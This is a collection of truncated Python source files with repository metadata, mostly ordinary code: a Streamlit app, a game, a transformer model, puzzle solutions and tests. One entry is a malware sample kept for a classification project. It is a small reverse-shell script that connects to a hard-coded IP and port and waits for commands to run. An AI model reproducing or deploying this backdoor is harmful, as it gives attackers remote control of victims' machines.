fc717f0194925a31c30c22421f8fd0d344685fb7 | 14a6662a1b0a6d113dfb724382e3a7e2735bbbac | /Aula04/src/app.py | a75434ebdf760bdece64d6668611e4858a65f6f3 | [] | no_license | Karagul/streamlit_bootcamp | c118c01d9bec354eaabb504c9fd1d59dc5c63c93 | 48fa703ce7a2d4ac003fe881220cb66d926f17ca | refs/heads/main | 2023-02-08T20:57:31.280465 | 2021-01-05T14:36:35 | 2021-01-05T14:36:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,387 | py | import streamlit as st
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
def carrega_dados(caminho):
dados = pd.read_csv(caminho)
return dados
def grafico_comparativo(dados_2019, dados_2020, causa, estado="BRASIL"):
if estado == "BRASIL":
total_2019 = dados_2019.groupby(... | [
"[email protected]"
] | |
5e7bfbedc16acf4ca6372e3a2381661d385fbfa6 | 092894284a5c5f29ff7d9323b854eb6781c64fab | /Res/Prefabs/GameObjects/player/ball.py | d9a59ff63f5dc80128a7526049375b631cd7da2a | [] | no_license | sourenaKhanzadeh/breakoutgame | 4660809ceae23b7b1bf587cc1bd6f94141f3c16f | 87ee5933c6dde22f74ee22e5f40d016a4a4b22e9 | refs/heads/master | 2020-05-22T07:17:27.345601 | 2019-05-29T21:25:21 | 2019-05-29T21:25:21 | 186,262,103 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,387 | py | from Prefabs.GameObjects.shapes.shapes import *
from Prefabs.GameObjects.bricks.bricks import Brick
from setting import *
class Ball(Circle):
def __init__(self, x=WIDTH // 2, y=WIDTH // 2, color=CC.RED, width=0, rad=10):
super().__init__(x, y, color, width, rad)
def move(self):
# go east if... | [
"soure@DESKTOP-6PVNFEF.(none)"
] | soure@DESKTOP-6PVNFEF.(none) |
7c573466c7626d57389f1b8b68c257affd3f7dbc | f0bd86b187fef18409d4c55e5760b17ee549ce13 | /model/seq2seq_transformer.py | 92934239576698eb48edc982811a459c38532e5a | [
"MIT"
] | permissive | wyu-du/MultiTurnDialogZoo | da095953f4cbc3c907bbf2600734d426f4651da8 | ac6a5d4fee31aef9db86ffef599d70f099d93897 | refs/heads/master | 2022-11-17T07:13:38.403151 | 2020-07-19T21:00:20 | 2020-07-19T21:00:20 | 273,569,164 | 0 | 0 | MIT | 2020-06-19T19:14:24 | 2020-06-19T19:14:24 | null | UTF-8 | Python | false | false | 27,364 | py | #!/usr/bin/python3
# Author: GMFTBY
# Time: 2020.2.7
'''
Seq2Seq in Transformer, implemented by Pytorch's nn.Transformer
'''
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.nn.init as init
import math
import random
import numpy as np
import pickle
import ipdb
import sys
import types
im... | [
"[email protected]"
] | |
09275b427690ef44e7430628700f07f44cb8824f | 627b050148e767be12cfc7dfa81b1c6368cf3104 | /LeetCode/Apr20Challenge/Week4/day28_first_unique_number.py | dbac91abe928bd0387b8a926467a0d6759e87d98 | [] | no_license | imn00133/algorithm | 6ce5d10491bde853eb9e4d6a69bde3124723875c | 40d7bbe6e3cfe932122c32a9f730f951e948ef2d | refs/heads/master | 2022-08-13T20:26:06.200622 | 2022-07-31T08:54:26 | 2022-07-31T08:54:26 | 231,281,731 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,776 | py | #
# Solved Date: 20.04.28.
import collections
class FirstUnique:
def __init__(self, nums):
self.unique = None
self.next_unique_queue = collections.deque()
self.manage_unique = collections.defaultdict(int)
for number in nums:
self.manage_unique[number] += 1
... | [
"[email protected]"
] | |
a669bc69cb66d9ef0348342ab4523d913845ef3c | ca3a49676cdf1016b2d729f0432b451d35b7a281 | /human_eval/51b1be3f-d417-418d-9236-bf203e68cd76.py | 68a5863b1201739cd1b33a0edc4579baab2e15f8 | [
"MIT"
] | permissive | SquareandCompass/code-align-evals-data | 3bb71b605316f56bb27466f23706a329f3fb4938 | 97446d992c3785d6605f1500b2c9b95d042e7b9c | refs/heads/main | 2023-06-19T12:47:56.277363 | 2021-07-21T00:22:56 | 2021-07-21T00:22:56 | 640,147,842 | 0 | 1 | null | 2023-05-13T06:22:30 | 2023-05-13T06:22:29 | null | UTF-8 | Python | false | false | 1,269 | py | ENTRY_POINT = 'check_if_last_char_is_a_letter'
#[PROMPT]
def check_if_last_char_is_a_letter(txt):
'''
Create a function that returns True if the last character
of a given string is an alphabetical character and is not
a part of a word, and False otherwise.
Note: "word" is a group of characters sepa... | [
"[email protected]"
] | |
a1e485a39c453c99a40f6f2d40cad085fe060fb2 | c7a6f8ed434c86b4cdae9c6144b9dd557e594f78 | /ECE364/.PyCharm40/system/python_stubs/348993582/nss/nss/RDN.py | 0e53aeab1e6b2f125e445f912c8e9778bbce5a23 | [] | no_license | ArbalestV/Purdue-Coursework | 75d979bbe72106975812b1d46b7d854e16e8e15e | ee7f86145edb41c17aefcd442fa42353a9e1b5d1 | refs/heads/master | 2020-08-29T05:27:52.342264 | 2018-04-03T17:59:01 | 2018-04-03T17:59:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,870 | py | # encoding: utf-8
# module nss.nss
# from /usr/lib64/python2.6/site-packages/nss/nss.so
# by generator 1.136
""" This module implements the NSS functions """
# no imports
from object import object
class RDN(object):
"""
An object representing an X501 Relative Distinguished Name (e.g. RDN).
RDN object... | [
"[email protected]"
] | |
67a8e024e53d7041f7109406e394418a30cabb10 | 6bd9d7679011042f46104d97080786423ae58879 | /1690/c/c.py | 05a66b00321f18a9b1c0841c33b880eda782958a | [
"CC-BY-4.0"
] | permissive | lucifer1004/codeforces | 20b77bdd707a1e04bc5b1230f5feb4452d5f4c78 | d1fe331d98d6d379723939db287a499dff24c519 | refs/heads/master | 2023-04-28T16:00:37.673566 | 2023-04-17T03:40:27 | 2023-04-17T03:40:27 | 212,258,015 | 3 | 1 | null | 2020-10-27T06:54:02 | 2019-10-02T04:53:36 | C++ | UTF-8 | Python | false | false | 471 | py | from sys import stdin
def input(): return stdin.readline().strip()
def read_int():
return int(input())
def read_ints():
return map(int, input().split())
t = read_int()
for case_num in range(t):
n = read_int()
s = list(read_ints())
f = list(read_ints())
d = []
for i in range(n):
... | [
"[email protected]"
] | |
cb9ad7f3950ff6065752bffa32432288fbc57bc1 | acb8e84e3b9c987fcab341f799f41d5a5ec4d587 | /langs/8/ti_.py | 41e20b589684d5f3162010636a3b247638095db8 | [] | no_license | G4te-Keep3r/HowdyHackers | 46bfad63eafe5ac515da363e1c75fa6f4b9bca32 | fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2 | refs/heads/master | 2020-08-01T12:08:10.782018 | 2016-11-13T20:45:50 | 2016-11-13T20:45:50 | 73,624,224 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | import sys
def printFunction(lineRemaining):
if lineRemaining[0] == '"' and lineRemaining[-1] == '"':
if len(lineRemaining) > 2:
#data to print
lineRemaining = lineRemaining[1:-1]
print ' '.join(lineRemaining)
else:
print
def main(fileName):
with open(fileName) as f:
for line in f:
... | [
"[email protected]"
] | |
b1db52e476e7f1ade39cda5d0191f6c042142711 | 52b5773617a1b972a905de4d692540d26ff74926 | /.history/classvs_20200630154634.py | 8a7e8665bf8b3e3c22a42c56688dd4c01f2f0c85 | [] | no_license | MaryanneNjeri/pythonModules | 56f54bf098ae58ea069bf33f11ae94fa8eedcabc | f4e56b1e4dda2349267af634a46f6b9df6686020 | refs/heads/master | 2022-12-16T02:59:19.896129 | 2020-09-11T12:05:22 | 2020-09-11T12:05:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 638 | py | class Person:
age = 0
# this is a constructor
def __init__(self,initialAge):
if initialAge > 0:
self.age = initialAge
else:
self.age = 0
print("Age is not valid, setting age to 0.. ")
def yearPasses(self):
self.age = self.age +1
retu... | [
"[email protected]"
] | |
ed2fdb1bb003f7c36e88a99e59dff4ea2d85a2af | 42ea9b76bfbf4d609f655d897082fb3f46bf4058 | /src/minimalkb/services/simple_rdfs_reasoner.py | f9a108d6c2e04bd7809837b58efbe8129461d309 | [
"BSD-3-Clause"
] | permissive | chili-epfl/minimalkb | a9ffe957caa8fd24645117e7afbc97b7406c3048 | 25d90d90dc9e8dbf41ba18bf522a80eeb6520dbb | refs/heads/master | 2021-05-20T17:37:52.403932 | 2021-02-25T09:30:09 | 2021-02-25T09:30:09 | 13,498,236 | 4 | 1 | BSD-3-Clause | 2021-02-25T02:39:50 | 2013-10-11T12:21:29 | Python | UTF-8 | Python | false | false | 7,032 | py | import logging; logger = logging.getLogger("minimalKB."+__name__);
DEBUG_LEVEL=logging.DEBUG
import time
import datetime
import sqlite3
from minimalkb.backends.sqlite import sqlhash
from minimalkb.kb import DEFAULT_MODEL
REASONER_RATE = 5 #Hz
class OntoClass:
def __init__(self, name):
self.name = name
... | [
"[email protected]"
] | |
ca558fb7c1542d8a31c2201706ddd1b15d043e8c | 781e2692049e87a4256320c76e82a19be257a05d | /all_data/exercism_data/python/series/4b461e5da45242b5971e42844d148b42.py | 99ea386f4fc3f7410b9f7ea347e65477581b406a | [] | no_license | itsolutionscorp/AutoStyle-Clustering | 54bde86fe6dbad35b568b38cfcb14c5ffaab51b0 | be0e2f635a7558f56c61bc0b36c6146b01d1e6e6 | refs/heads/master | 2020-12-11T07:27:19.291038 | 2016-03-16T03:18:00 | 2016-03-16T03:18:42 | 59,454,921 | 4 | 0 | null | 2016-05-23T05:40:56 | 2016-05-23T05:40:56 | null | UTF-8 | Python | false | false | 583 | py | def slices(digits, length_of_series):
is_series_longer_than_digits = length_of_series > len(digits)
is_series_less_than_1 = length_of_series < 1
if is_series_longer_than_digits: raise ValueError
if is_series_less_than_1: raise ValueError
def remove_first_element(L):
L.pop(0)
... | [
"[email protected]"
] | |
f12654076d1f91eff74e060ecf6c9c3b0487d989 | ac216a2cc36f91625e440247986ead2cd8cce350 | /appengine/predator/analysis/analysis_testcase.py | 2c001a931cc3aba51f1d550a485ba1f8e897dd97 | [
"BSD-3-Clause"
] | permissive | xinghun61/infra | b77cdc566d9a63c5d97f9e30e8d589982b1678ab | b5d4783f99461438ca9e6a477535617fadab6ba3 | refs/heads/master | 2023-01-12T21:36:49.360274 | 2019-10-01T18:09:22 | 2019-10-01T18:09:22 | 212,168,656 | 2 | 1 | BSD-3-Clause | 2023-01-07T10:18:03 | 2019-10-01T18:22:44 | Python | UTF-8 | Python | false | false | 5,668 | py | # Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import copy
from libs.base_testcase import BaseTestCase
from libs.gitiles.change_log import ChangeLog
from analysis.type_enums import CrashClient
DUMMY_CH... | [
"[email protected]"
] | |
baaf2f9367b44c93bdb2ea25862bb10a4d3d14a2 | 15ce00a910f5404f1ab3d6eb59334c26c5708748 | /functions/keyword_only.py | cbbca0266fc6ae00ec778c065a99907bc58b6732 | [] | no_license | calazans10/algorithms.py | 3307be25920428b33e784229c2aa727ac4225423 | b8b0495fe34645b45aa5366416c1f80d87d18a3b | refs/heads/master | 2020-05-17T13:27:58.481732 | 2013-07-21T13:31:39 | 2013-07-21T13:31:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 265 | py | # -*- coding: utf-8 -*-
def total(initial=5, *numbers, vegetables):
count = initial
for number in numbers:
count += number
count += vegetables
return count
print(total(10, 1, 2, 3, vegetables=50))
print(total(10, 1, 2, 3, vegetables=10))
| [
"[email protected]"
] | |
4db681565b71e2d02636d8c2ff90e16398465c69 | 401ea01ffb848f1eabd8aa17690ec1ff5dc8e6bd | /test/test_self_user.py | 6ef6283a00a67b2ebbd837e2bb6a9c8afd01890c | [] | no_license | bbrangeo/python-api-client | 735acda3627d7a0ddd78ecb1e9617bb4082c9001 | c2481e0cd012a41aeceefdce289d48509540b909 | refs/heads/master | 2020-03-14T18:24:20.888631 | 2018-04-30T14:47:47 | 2018-04-30T14:47:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 849 | py | # coding: utf-8
"""
BIMData API
BIMData API documentation # noqa: E501
OpenAPI spec version: v1
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import bimdata_api_client
from bimdata_api_c... | [
"[email protected]"
] | |
366a391f8c2df41752f3272eb3d7db8337b7d0fe | e3840576e475c42160e914487ba91c1defc0b42f | /abc_155_D.py | 8b0cb0d8037837a3e05322550b9f2afb2c20e146 | [] | no_license | Kuroboo100/atcoder | 35f92e1a6001430bd96535799594573add78f5db | 280562ef3f963b24f79b56204ba5a1b35ce84b69 | refs/heads/master | 2022-11-25T13:17:02.280672 | 2020-08-03T13:36:40 | 2020-08-03T13:36:40 | 269,625,592 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,146 | py | def mul_minus(m,p,k):
"""
m,p=minus またはplus
順番はminus>>plusの順で与える
出力はl,sの積の組み合わせでk番目に小さい数
"""
p.sort(reverse=True)
m_tmp=0
p_tmp=0
i=0
mul=[m[0]*p[0]]
while i<k:
if p_tmp+1<len(p):
can_1=m[m_tmp]*p[p_tmp+1]
if m_tmp+1<len(m):
can_2=m[m_t... | [
"[email protected]"
] | |
6729ca87ad8b65a551fd5f41d6443586e13baa15 | 4c9580b2e09e2b000e27a1c9021b12cf2747f56a | /chapter06/chapter06/wsgi.py | 3e88f160f773a7fc27dbdb8429834ad511c1267e | [] | no_license | jzplyy/xiaoyue_mall | 69072c0657a6878a4cf799b8c8218cc7d88c8d12 | 4f9353d6857d1bd7dc54151ca8b34dcb4671b8dc | refs/heads/master | 2023-06-26T02:48:03.103635 | 2021-07-22T15:51:07 | 2021-07-22T15:51:07 | 388,514,311 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | """
WSGI config for chapter06 project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefaul... | [
"[email protected]"
] | |
5d8ebf6a2f375bd1c7c82b768a5185bcd628005f | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad356.py | a7091ad0c1ea2d013487c02faa2df366dff3846f | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 397 | py | import zlib
import tarfile
import socket
import crypt
import lzma
import subprocess
import gzip
import bz2
import hmac
import hashlib
import threading
import zipfile
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not comma... | [
"[email protected]"
] | |
7b06911905dd515116322f0cffab02dde6d356fd | 3a6d382503e11753dd81b291145847a2eabb8ec6 | /experimental/dsmith/scrapheap/handcheck-crashes.py | 6bd9c728da3084f4cc4cfb8f5c3850d0b9dcd044 | [] | no_license | QuXing9/phd | 7e6f107c20e0b3b1de2b25eb99e0b640a4a0bfcf | 58ba53b6d78515ed555e40527f6923e28941cc19 | refs/heads/master | 2022-02-27T03:29:05.126378 | 2019-10-22T02:46:57 | 2019-10-22T02:46:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,168 | py | #!/usr/bin/env python
import random
import sys
from argparse import ArgumentParser
from dsmith import db
from dsmith.db import *
def yes_no_or_skip(question, default="skip"):
"""Ask a yes/no/skip question via input() and return their answer.
"question" is a string that is presented to the user.
"default" is ... | [
"[email protected]"
] | |
1285800c62612518ff3de3b4bd6c8e0c608033a7 | 43a78f0bcd94f617d2c55e5019f3f3475580165d | /Udemy/Section 14/RunIETests.py | c99fb8fe83ce12a1bd5e1f56a6d79f70c50d2881 | [] | no_license | ctramm/Python_Training | 2c35bd36b7cd1ea6598f915fafcf37ca048cf8ed | a0864a82bd6fb002c5f1a9aa7fb5d0b18341e6b0 | refs/heads/master | 2022-12-04T14:18:30.477562 | 2022-11-12T09:03:25 | 2022-11-12T09:03:25 | 171,736,957 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 255 | py | """
Section 14: Run Tests on IE
"""
from selenium import webdriver
class RunIETests:
def test_method(self):
driver = webdriver.Ie()
driver.get("http://www.letskodeit.com")
driver.close()
ie = RunIETests()
ie.test_method()
| [
"[email protected]"
] | |
c03c50aefa8eb8ec66658f37fee45ada353f7ca7 | abad82a1f487c5ff2fb6a84059a665aa178275cb | /Codewars/8kyu/plural/Python/test.py | 94c45c725af33da58916db900b0dd16972a85ea8 | [
"MIT"
] | permissive | RevansChen/online-judge | 8ae55f136739a54f9c9640a967ec931425379507 | ad1b07fee7bd3c49418becccda904e17505f3018 | refs/heads/master | 2021-01-19T23:02:58.273081 | 2019-07-05T09:42:40 | 2019-07-05T09:42:40 | 88,911,035 | 9 | 0 | null | null | null | null | UTF-8 | Python | false | false | 246 | py | # Python - 3.6.0
Test.assert_equals(plural(0), True, 'Plural for 0' )
Test.assert_equals(plural(0.5), True, 'Plural for 0.5')
Test.assert_equals(plural(1), False, '1 is singular!')
Test.assert_equals(plural(100), True, 'Plural for 100')
| [
"[email protected]"
] | |
37b2cfa3b1377db9d4b5444701cb38d3915fb1ed | b43103229a5fc3c49285818881eea7c42b8021c2 | /python标准文档例题/真值测试.py | ef253daafb3daa0507df374ce37552f3428e6838 | [] | no_license | AlienWu2019/Alien-s-Code | 34eaf60ae7ada4810c3564cee1a25371c1c3f7ad | 983f68d13a81e6141779d26c84e371b2bf1d2e0d | refs/heads/master | 2020-05-07T18:42:03.723993 | 2019-05-05T14:32:49 | 2019-05-05T14:32:49 | 180,777,724 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 555 | py | import sys,math
def hash_fraction(m,n):
p=sys.hash_info.modulus
while m%p==n%p==0:
m,n=m//p,n//p
if n%p==0:
hash_value=sys.hash_info.inf
else:
hash_value=(abs(m)%p)*pow(n,p-2,p)%p
if m<0:
hash_value=-hash_value
if hash_value==-1:
hash_value=-2
return ... | [
"[email protected]"
] | |
56b651f1e53a535c948b8d7ba66fd0d05f4a02d9 | 060877bd2d5ad6ebb4b303e5dfae47afe9afd4f2 | /mupit/combine_analyses.py | 16e16a2626b9fdec431a1124cf4672d82dabe14d | [
"MIT"
] | permissive | tianyunwang/mupit | f0cc92e1495144d2ea11ab60fbedbce70e6ba5e4 | bca917af1e23b4466f636c6ae29479833c52efae | refs/heads/master | 2020-03-26T04:27:13.342987 | 2018-08-02T23:18:42 | 2018-08-02T23:18:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,886 | py | """
Copyright (c) 2016 Genome Research Ltd.
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distr... | [
"[email protected]"
] | |
74b7e9f0e76db5cc22f02e7a25cb6f5363f8c823 | 2d8113d4fa1560eefb3b9419c9494dfcbf12c2b5 | /tests/simcse_test.py | 320ea5abb3791b150acdb3c3ec2ee0b4cf0a94dd | [
"Apache-2.0"
] | permissive | tiffen/DeepSE | 6bcdcd2d64b8f9cf7643086395b6a2468d13445a | a7c47c5146827d50bc46a8ec30da6ee651a0c6b8 | refs/heads/main | 2023-06-17T12:37:06.947099 | 2021-07-16T03:08:36 | 2021-07-16T03:08:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,921 | py | import os
import unittest
import tensorflow as tf
from deepse.simcse import SimCSE
from deepse.simcse_dataset import (HardNegativeSimCSEDataset,
SupervisedSimCSEDataset, UnsupSimCSEDataset)
from tokenizers import BertWordPieceTokenizer
PRETRAINED_MODEL_PATH = os.environ['PRETRAINED_... | [
"[email protected]"
] | |
ceec8895dd948248f90dc1ce9b661b06dda07910 | 3a891a79be468621aae43defd9a5516f9763f36e | /desktop/core/ext-py/gunicorn-19.9.0/tests/requests/valid/008.py | 379f9a2b8225da64fc0ce89d9df7284ea38de7a1 | [
"Apache-2.0",
"MIT",
"BSD-3-Clause",
"HPND",
"Python-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | oyorooms/hue | b53eb87f805063a90f957fd2e1733f21406269aa | 4082346ef8d5e6a8365b05752be41186840dc868 | refs/heads/master | 2020-04-15T20:31:56.931218 | 2019-01-09T19:02:21 | 2019-01-09T19:05:36 | 164,998,117 | 4 | 2 | Apache-2.0 | 2019-01-10T05:47:36 | 2019-01-10T05:47:36 | null | UTF-8 | Python | false | false | 178 | py | request = {
"method": "GET",
"uri": uri("/unusual_content_length"),
"version": (1, 0),
"headers": [
("CONTENT-LENGTH", "5")
],
"body": b"HELLO"
}
| [
"[email protected]"
] | |
e01c46b464ea5acc72f34996eb8499aa6de81940 | c5101b884745487b73356b5810845b7ef74dc6b8 | /coding_challenge_restful/constants/common_constants.py | 3e542bc6ad1f6983b8ae293df7ed1ef28b5ccdd8 | [] | no_license | impiyush83/import-large-dataset-file-to-db | ae9f03d7f66ec62c1eb28be6c8297bb6b16639aa | 8cc4cba5cb13044d6db982b156dc50a4feef25a0 | refs/heads/master | 2022-12-11T20:28:48.069489 | 2019-06-20T07:44:41 | 2019-06-20T07:44:41 | 192,121,003 | 1 | 0 | null | 2022-12-08T05:15:58 | 2019-06-15T20:25:54 | Python | UTF-8 | Python | false | false | 93 | py | SUCCESS = "SUCCESS"
CSV_HEADERS = dict(
BulkCSVProducts=['name', 'sku', 'description']
)
| [
"[email protected]"
] | |
fc8410ca410351cbe027cc1f9b8543bdce3b987c | 5653001ec8ec0bdcc8b9662f1411002cd52cb38d | /plugins/core/views/resource_server.py | 732518e90b2b480e52c388850064fd9978c251fe | [] | no_license | laravelbook/ajenti | 409da009d8e4ff5c497627c2f131c56f3298b5ce | 7cb64b36e3057cffc6ad58b189dc118a21c9d69d | refs/heads/master | 2021-01-21T00:47:50.194075 | 2015-09-08T09:44:56 | 2015-09-08T09:45:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,134 | py | import json
import os
from jadi import component
import aj
from aj.api.http import url, HttpPlugin
from aj.plugins import PluginManager
from aj.api.endpoint import endpoint
@component(HttpPlugin)
class ResourcesHandler(HttpPlugin):
def __init__(self, http_context):
self.cache = {}
self.use_cache... | [
"[email protected]"
] | |
44375c66e34b3f92833d4072fa8cc571efb27d5b | 163872dee6c98ab2d4f9f592509050fda2e1abc6 | /myapp_1/urls.py | 2d7b659af0d5a416f915a80c5a73296ffccccec7 | [] | no_license | aynulislam/Django-Rest-Framework | b89b3cab93254aefa7b53c85ba384f911b2516e0 | 6f9e1cffc651b4e809aa6fbfff0e12a66cdbb989 | refs/heads/master | 2020-08-15T07:24:15.812020 | 2019-10-16T09:09:00 | 2019-10-16T09:09:00 | 215,300,188 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 636 | py | from django.urls import path
from . views import EmCategoryAPIView,EmEmailAPIView,EmReceiverAPIView,EmGroupAPIView,EmUserAPIView,ScUserAPIView,GnGroupTypeAPIView
urlpatterns = [
path('EmCategory/', EmCategoryAPIView, name="EmCategoryAPIView"),
path('EmEmail/', EmEmailAPIView, name="EmEmailAPIView"),
path('... | [
"[email protected]"
] | |
468b66b2fef16af97cf3104bbb05e66e47e4bff1 | f9e8733ed87858b12bfee6b70ccdddd6a616b60a | /62.py | 799f209d8c36c80090880a57df0cc0ad6e89c666 | [] | no_license | MajestyLee/leetcode_TopInterview | c1c9c923d3bf42cd4777bb2a2ccd21654a7c6dbb | 30b7d5acec716b7d754141835fc8bafe4411437e | refs/heads/master | 2020-04-01T12:19:20.837383 | 2018-11-06T02:13:44 | 2018-11-06T02:13:44 | 153,200,785 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,353 | py | '''
A robot is located at the top-left corner of a m x n grid (marked 'Start' in the diagram below).
The robot can only move either down or right at any point in time.
The robot is trying to reach the bottom-right corner of the grid (marked 'Finish' in the diagram below).
How many possible unique paths are there?
A... | [
"[email protected]"
] | |
d1509126fa63efd3f64b1929998f2ca8f07320df | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/contrib/cv/detection/NasFPN/mmdet/models/detectors/trident_faster_rcnn.py | f0fd80d41407162df71ba5349fc659d4713cdb6e | [
"Apache-2.0",
"BSD-3-Clause",
"LicenseRef-scancode-warranty-disclaimer",
"BSD-2-Clause",
"MIT",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference",
"GPL-1.0-or-later"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 2,662 | py | from ..builder import DETECTORS
from .faster_rcnn import FasterRCNN
@DETECTORS.register_module()
class TridentFasterRCNN(FasterRCNN):
"""Implementation of `TridentNet <https://arxiv.org/abs/1901.01892>`_"""
def __init__(self,
backbone,
rpn_head,
roi_head,
... | [
"[email protected]"
] | |
894b209cab8c7b9927d6ddd95fe0b0e53161b536 | 1745b353ca80b37d649197bb8fd8025429f01819 | /otree/export.py | 2674004d4cd14b66dae2d96ebca4ae0cf8e47af3 | [
"MIT"
] | permissive | MetaCell/otree-core | 9cd0041f1aa2023a4039e2f091faafa0208d7e58 | 638af2f8fc434700373366b2bb9018f2c2f41840 | refs/heads/master | 2021-01-12T14:06:31.253436 | 2016-09-26T10:43:02 | 2016-09-26T10:43:02 | 69,562,622 | 0 | 0 | null | 2018-04-24T10:07:08 | 2016-09-29T11:50:19 | Python | UTF-8 | Python | false | false | 19,090 | py | from __future__ import absolute_import
from otree.common import Currency
from django.db.models import BinaryField
import sys
import datetime
import inspect
import otree
import collections
import six
from django.utils.encoding import force_text
from collections import OrderedDict
from django.conf import settings
from d... | [
"[email protected]"
] | |
f82e5bb5a7ab5e8c5feeaf09b0b27b2a68ca3543 | c361a25acecd016677bbd0c6d9fc56de79cf03ed | /PTM/tests/NetworkHostTest.py | 24465c10617c8bc706896eaea73a686ec4fea431 | [] | no_license | danielmellado/zephyr | f8931633045959e7e9a974de8b700a287a1ae94e | dc6f85b78b50e599504966154b927fe198d7402d | refs/heads/master | 2021-01-12T22:31:24.479814 | 2015-10-14T05:39:04 | 2015-10-14T06:24:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,468 | py | __author__ = 'micucci'
import unittest
import json
import time
import os
from common.CLI import LinuxCLI
from PTM.ComputeHost import ComputeHost
from PTM.CassandraHost import CassandraHost
from PTM.ZookeeperHost import ZookeeperHost
from PTM.NetworkHost import NetworkHost
from PTM.RootHost import RootHost
from PTM.Ph... | [
"[email protected]"
] | |
3d735ddb0894f281dd2e222048f3bd7dd290a95f | b4aaa26889f1c7e33a0de48848e30c0119284f14 | /app/tests/test_models/test_profile_parameter.py | 66cd0693d43123ad20ed3529f566cc95d37a6c98 | [] | no_license | paulosjd/btk2 | 1d727f360c9767add5135988c75df63e5d8ada8e | dc63b90a796750e6b26018443d2256fcc1339afb | refs/heads/master | 2022-07-05T13:57:07.071734 | 2020-05-19T08:23:14 | 2020-05-19T08:23:14 | 188,910,952 | 0 | 0 | null | 2022-06-21T23:23:37 | 2019-05-27T21:26:02 | Python | UTF-8 | Python | false | false | 3,111 | py | from collections import namedtuple
from unittest.mock import patch
from app.models import ProfileParamUnitOption
from app.tests.base import BaseTestCase
mock_ideals_data = {k: f'{k}_val' for k in
['ideal2_prepend', 'ideal', 'ideal2', 'ideal_prepend']}
class MockCalcParamIdeal:
def __init__(s... | [
"[email protected]"
] | |
5c46e21a7c712de8c20df35aac7232945dd2de5e | 069dafce9f495f09bf8c2f76dbf5c045b7551721 | /parameter_search_run.py | 9b187b743f036d55c4b46d15f0b1e9df88fc9b9c | [] | no_license | dguarino/T2 | 26b1bc640812aa5438b09f9fab2bc73096cd7eef | 66b786928508089492f5f696c7c1576e098c6615 | refs/heads/master | 2020-04-03T22:39:06.059845 | 2020-03-13T15:43:02 | 2020-03-13T15:43:02 | 41,812,819 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,392 | py | # -*- coding: utf-8 -*-
import sys
from mozaik.meta_workflow.parameter_search import CombinationParameterSearch,SlurmSequentialBackend
import numpy
if False:
CombinationParameterSearch(SlurmSequentialBackend(num_threads=1,num_mpi=64),{
'retina_lgn.params.gain' : [0.1],
'l4_cortex_exc.pa... | [
"[email protected]"
] | |
93d0d5a423aaa8cebf164009c713ebde7d0028f0 | 9c4e02ba5201794a4c5cbff548db1be7c87409c1 | /venv/lib/python3.9/site-packages/IPython/lib/tests/test_pretty.py | ca16924e8f7bd132fc8031ca2e683ea568b99725 | [
"Apache-2.0",
"MIT"
] | permissive | ClassWizard/PodLockParser | 4faf4679d404158b3cf2b1ceb4faabca461b0008 | 84f6d3fced521849657d21ae4cb9681f5897b957 | refs/heads/master | 2022-12-23T20:39:48.096729 | 2022-02-08T09:49:01 | 2022-02-08T09:49:01 | 167,668,617 | 2 | 1 | MIT | 2022-12-14T10:01:41 | 2019-01-26T08:50:35 | Python | UTF-8 | Python | false | false | 14,719 | py | # coding: utf-8
"""Tests for IPython.lib.pretty."""
# Copyright (c) IPython Development Team.
# Distributed under the terms of the Modified BSD License.
from collections import Counter, defaultdict, deque, OrderedDict, UserList
import os
import pytest
